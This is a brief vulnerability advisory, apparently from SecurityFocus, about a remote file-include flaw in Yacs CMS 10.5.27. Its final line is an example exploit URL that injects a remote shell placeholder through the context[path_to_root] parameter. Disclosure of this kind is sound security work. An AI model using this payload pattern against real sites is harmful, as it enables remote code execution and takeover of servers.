source: https://www.securityfocus.com/bid/41773/info

Yacs CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Yacs CMS 10.5.27 is vulnerable; other versions may be affected. 

http://www.example.com/index.php?context[path_to_root]= [inj3ct0r shell]